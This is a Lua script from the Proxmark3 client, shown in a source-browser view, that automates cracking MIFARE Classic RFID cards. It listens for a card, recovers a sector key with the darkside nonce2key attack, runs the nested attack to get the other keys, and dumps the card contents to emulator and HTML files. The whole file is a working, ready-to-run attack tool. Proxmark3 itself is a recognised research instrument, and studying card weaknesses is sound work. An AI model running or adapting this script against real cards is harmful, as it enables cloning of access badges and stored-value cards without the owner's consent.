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[proxmark3-svn] / client / scripts / mifare_autopwn.lua
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0dae56d8 1local getopt = require('getopt')
2local reader = require('read14a')
3local cmds = require('commands')
4
5example = "script run mifare_autopwn"
6author = "Martin Holst Swende"
7
8
9desc =
10[[
11This is a which automates cracking and dumping mifare classic cards. It sets itself into
12'listening'-mode, after which it cracks and dumps any mifare classic card that you
13place by the device.
14
15Arguments:
16 -d debug logging on
17 -h this help
18
19Output files from this operation:
20 <uid>.eml - emulator file
21 <uid>.html - html file containing card data
22 dumpkeys.bin - keys are dumped here. OBS! This file is volatile, as other commands overwrite it sometimes.
23 dumpdata.bin - card data in binary form. OBS! This file is volatile, as other commands (hf mf dump) overwrite it.
24
25]]
26
27-------------------------------
28-- Some utilities
29-------------------------------
30local DEBUG = false
31---
32-- A debug printout-function
33function dbg(args)
34 if DEBUG then
35 print(":: ", args)
36 end
37end
38---
39-- This is only meant to be used when errors occur
40function oops(err)
41 print("ERROR: ",err)
42 return nil,err
43end
44
45---
46-- Usage help
47function help()
48 print(desc)
49 print("Example usage")
50 print(example)
51end
52
53---
54-- Waits for a mifare card to be placed within the vicinity of the reader.
55-- @return if successfull: an table containing card info
56-- @return if unsuccessfull : nil, error
57function wait_for_mifare()
58 while not core.ukbhit() do
59 res, err = reader.read1443a()
60 if res then return res end
61 -- err means that there was no response from card
62 end
63 return nil, "Aborted by user"
64end
65
66function mfcrack()
67 core.clearCommandBuffer()
68 -- Build the mifare-command
69 local cmd = Command:new{cmd = cmds.CMD_READER_MIFARE, arg1 = 1}
70
71 local retry = true
72 while retry do
73 core.SendCommand(cmd:getBytes())
74 local key, errormessage = mfcrack_inner()
75 -- Success?
76 if key then return key end
77 -- Failure?
78 if errormessage then return nil, errormessage end
79 -- Try again..set arg1 to 0 this time.
80
81 cmd = Command:new{cmd = cmds.CMD_READER_MIFARE, arg1 = 0}
82 end
83 return nil, "Aborted by user"
84end
85
86
87function mfcrack_inner()
88 while not core.ukbhit() do
89 local result = core.WaitForResponseTimeout(cmds.CMD_ACK,1000)
90 if result then
91 -- Unpacking the three arg-parameters
92 local count,cmd,isOK = bin.unpack('LL',result)
93
94 if isOK ~= 1 then return nil, "Error occurred" end
95
96
97 -- The data-part is left
98 -- Starts 32 bytes in, at byte 33
99 local data = result:sub(33)
100
101 -- A little helper
102 local get = function(num)
103 local x = data:sub(1,num)
104 data = data:sub(num+1)
105 return x
106 end
107
108 local uid,nt,pl = get(4),get(4),get(8)
109 local ks,nr = get(8),get(4)
110
111 local status, key = core.nonce2key(uid,nt, nr, pl,ks)
112 if not status then return status,key end
113
114 if status > 0 then
115 print("Key not found (lfsr_common_prefix problem)")
116 -- try again
117 return nil,nil
118 else
119 return key
120 end
121 end
122 end
123 return nil, "Aborted by user"
124end
125
51defdd4 126function nested(key,sak)
127 local typ = 1
128 if 0x18 == sak then --NXP MIFARE Classic 4k | Plus 4k
129 typ = 4
130 elseif 0x08 == sak then -- NXP MIFARE CLASSIC 1k | Plus 2k
131 typ= 1
132 elseif 0x09 == sak then -- NXP MIFARE Mini 0.3k
133 typ = 0
134 elseif 0x10 == sak then-- "NXP MIFARE Plus 2k"
135 typ = 2
136 else
137 print("I don't know how many sectors there are on this type of card, defaulting to 16")
138 end
139 local cmd = string.format("hf mf nested %d 0 A %s d",typ,key)
0dae56d8 140 core.console(cmd)
141end
142
143function dump(uid)
144 core.console("hf mf dump")
145 -- Save the global args, those are *our* arguments
146 local myargs = args
147 -- Set the arguments for htmldump script
148 args =("-o %s.html"):format(uid)
149 -- call it
150 require('../scripts/htmldump')
151
152 args =""
153 -- dump to emulator
154 require('../scripts/dumptoemul')
155 -- Set back args. Not that it's used, just for the karma...
156 args = myargs
157end
158
159---
160-- The main entry point
161function main(args)
162
163
51defdd4 164 local verbose, exit,res,uid,err,_,sak
0dae56d8 165 local seen_uids = {}
166
167 -- Read the parameters
168 for o, a in getopt.getopt(args, 'hd') do
169 if o == "h" then help() return end
170 if o == "d" then DEBUG = true end
171 end
172
173 while not exit do
174 res, err = wait_for_mifare()
175 if err then return oops(err) end
176 -- Seen already?
177 uid = res.uid
51defdd4 178 sak = res.sak
0dae56d8 179 if not seen_uids[uid] then
180 -- Store it
181 seen_uids[uid] = uid
182 print("Card found, commencing crack", uid)
183 -- Crack it
184 local key, cnt
185 res,err = mfcrack()
186 if not res then return oops(err) end
b9697139 187 -- The key is actually 8 bytes, so a
188 -- 6-byte key is sent as 00XXXXXX
189 -- This means we unpack it as first
190 -- two bytes, then six bytes actual key data
191 -- We can discard first and second return values
192 _,_,key = bin.unpack("H2H6",res)
0dae56d8 193 print("Key ", key)
194
195 -- Use nested attack
51defdd4 196 nested(key,sak)
0dae56d8 197 -- Dump info
198 dump(uid)
199 end
200 end
201end
202
203-- Call the main
204main(args)
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